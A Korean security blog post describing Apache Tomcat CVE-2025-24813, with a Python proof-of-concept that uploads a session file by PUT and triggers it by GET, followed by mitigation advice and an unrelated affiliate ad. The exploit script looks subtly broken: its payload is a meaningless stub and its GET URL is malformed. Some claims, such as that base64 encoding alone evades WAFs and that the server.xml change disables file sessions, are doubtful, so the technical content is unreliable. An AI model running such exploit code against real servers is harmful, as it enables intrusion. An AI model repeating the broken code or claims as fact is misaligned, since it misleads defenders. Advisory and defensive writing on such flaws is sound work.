안녕하세요, 여러분! 😊
최근 Apache Tomcat에서 원격 코드 실행(RCE) 취약점이 발견되었으며, 해당 취약점 CVE-2025-24813은 이미 실제 공격에서 활발히 사용되고 있습니다.
이 취약점은 단 2단계 공격만으로 서버를 장악할 수 있어 보안 조치가 시급한 상황입니다. 😨
🔍 1. Apache Tomcat CVE-2025-24813 취약점이란?
📌 CVE-2025-24813은 Apache Tomcat에서 발생한 원격 코드 실행(RCE) 취약점으로,
공격자가 간단한 PUT 요청을 통해 악성 파일을 업로드하고, 이후 GET 요청으로 이를 실행할 수 있습니다.
💡 공격 과정:
1️⃣ PUT 요청으로 악성 Java 세션 파일 업로드
2️⃣ GET 요청으로 해당 세션 ID를 참조해 코드 실행
✔️ 이 과정에서 인증이 필요하지 않으며, 공격자는 쉽게 서버를 제어할 수 있습니다!
💀 2. 공격 코드(PoC) 분석
🔥 공격 코드 예제 (CVE-2025-24813 PoC)
import requests
target_url = "http://vulnerable-tomcat.com:8080/sessions/evil.session"
# Step 1: PUT 요청으로 악성 세션 파일 업로드
payload = """
rO0ABXNyABJqYXZhLnV0aWwuSGFzaE1hcAAAAAAAAAABDAAAeHB3CAAAC3yLkNk=
"""
headers = {
"Content-Type": "application/octet-stream"
}
put_response = requests.put(target_url, data=payload, headers=headers)
if put_response.status_code == 201:
print("[+] Malicious session file uploaded successfully!")
# Step 2: GET 요청을 통해 악성 세션 실행
get_response = requests.get(f"http://vulnerable-tomcat.com:8080;jsessionid=evil")
if "command executed" in get_response.text:
print("[+] Exploit successful, remote code execution achieved!")
else:
print("[-] Exploit failed.")
🔴 이 코드는 base64로 인코딩된 악성 Java 세션을 PUT 요청으로 업로드한 뒤,
GET 요청으로 실행하는 간단한 공격 방식입니다.
🔴 전통적인 보안 필터(WAF)를 우회할 수 있어 탐지가 어렵습니다.
푸디버디 부드러운 미니돈까스 (냉동) - 돈까스 | 쿠팡
현재 별점 4.7점, 리뷰 929개를 가진 푸디버디 부드러운 미니돈까스 (냉동)! 지금 쿠팡에서 더 저렴하고 다양한 돈까스 제품들을 확인해보세요.
www.coupang.com
"이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다."
⚠️ 3. 공격이 위험한 이유
✅ 1. 공격이 너무 쉽다!
- 인증이 필요하지 않으며, 단 두 개의 HTTP 요청만으로 서버를 장악 가능
✅ 2. 탐지가 어렵다!
- PUT 요청은 일반적인 API 요청처럼 보이며,
- 악성 페이로드가 base64 인코딩되어 있어 보안 솔루션(WAF)이 감지하지 못함
✅ 3. 많은 Tomcat 서버가 취약하다!
- 파일 기반 세션 저장소를 사용하는 Tomcat 서버가 대부분 영향을 받음
- 특히 기본 설정으로 운영 중인 많은 서버가 위험에 노출됨
💡 Red Hat 보안 팀은 해당 취약점의 심각도를 8.6/10으로 평가했으며, 매우 위험한 수준으로 판단됩니다.
🔑 4. Apache Tomcat 사용자들을 위한 보안 조치!
✅ 1. 보안 패치 적용 (최우선!)
🔹 Apache 공식 보안 패치를 확인하고, 즉시 업데이트하세요!
🔹 CVE-2025-24813 취약점이 패치된 최신 버전의 Tomcat을 사용해야 합니다.
✅ 2. PUT 요청 차단 및 파일 기반 세션 비활성화
🔹 PUT 요청을 필요하지 않는 경우 차단하세요.
🔹 Tomcat의 파일 기반 세션 저장 기능을 비활성화하세요.
🔧 server.xml 설정 변경 방법
<Context>
<Manager className="org.apache.catalina.session.PersistentManager"
saveOnRestart="false"
maxIdleBackup="0"
maxIdleSwap="0"
maxIdleSave="0"/>
</Context>
🔹 saveOnRestart="false" 설정을 적용하면 파일 기반 세션 저장을 방지할 수 있습니다.
✅ 3. 웹 애플리케이션 방화벽(WAF) 강화
🔹 PUT 요청을 모니터링하고, base64 인코딩된 의심스러운 페이로드 차단
🔹 다단계 공격 차단 기능이 포함된 WAF 설정 강화
✅ 4. 공격 로그 모니터링 및 분석
🔹 Tomcat 서버 로그에서 비정상적인 PUT 요청 및 세션 조작 행위 감지
🔹 GET 요청이 예상치 못한 세션 ID를 참조하는 경우 즉시 대응
🔎 로그에서 공격 흔적을 찾는 방법
cat /var/log/tomcat/catalina.out | grep "PUT /sessions/"
🔹 위 명령어를 실행해 PUT 요청을 통한 세션 조작 흔적을 확인할 수 있습니다.
✅ 5. API 요청 보안 강화
🔹 API 요청을 정규 표현식 및 동적 분석을 통해 검사
🔹 PUT, GET 등의 요청을 단순 패턴 매칭이 아닌 심층 분석
📢 5. 결론: 지금 당장 보안 점검을 시작하세요!
🚨 Apache Tomcat의 CVE-2025-24813 취약점이 활발히 악용되고 있으며, 서버 장악이 매우 쉬운 공격입니다.
특히 보안 솔루션을 우회할 수 있는 base64 인코딩 및 다단계 공격 기법이 사용되고 있어 탐지가 어렵습니다.
✅ 최신 보안 패치 적용 → Apache Tomcat 업데이트 필수!
✅ 파일 기반 세션 비활성화 → server.xml 설정 변경
✅ PUT 요청 차단 및 WAF 설정 강화 → 악성 페이로드 탐지 및 차단
✅ 로그 분석 및 이상 행동 모니터링 → 비정상적인 세션 조작 탐지
💬 여러분의 서버는 안전한가요? 지금 즉시 보안 점검을 진행하세요! 🛡️
📢 추가 질문이나 의견이 있다면 댓글로 남겨주세요! 😊
'CyberSecurity > Security🔐' 카테고리의 다른 글
🚀 Cloudflare, 양자 내성 암호화(Post-Quantum Encryption)로 보안 강화! (0) | 2025.03.18 |
---|---|
🚨 악성 OAuth 앱을 이용한 사이버 공격 증가! (0) | 2025.03.18 |
🚨 포티넷 취약점 악용, SuperBlack 랜섬웨어 확산! (0) | 2025.03.18 |
🔓 블랙 바스타 랜섬웨어, 탈취한 계정으로 기업 네트워크 침투! (1) | 2025.03.18 |
🔍 서버 메시지 블록(SMB) 트래버설 공격이란? 🚨 (1) | 2025.03.16 |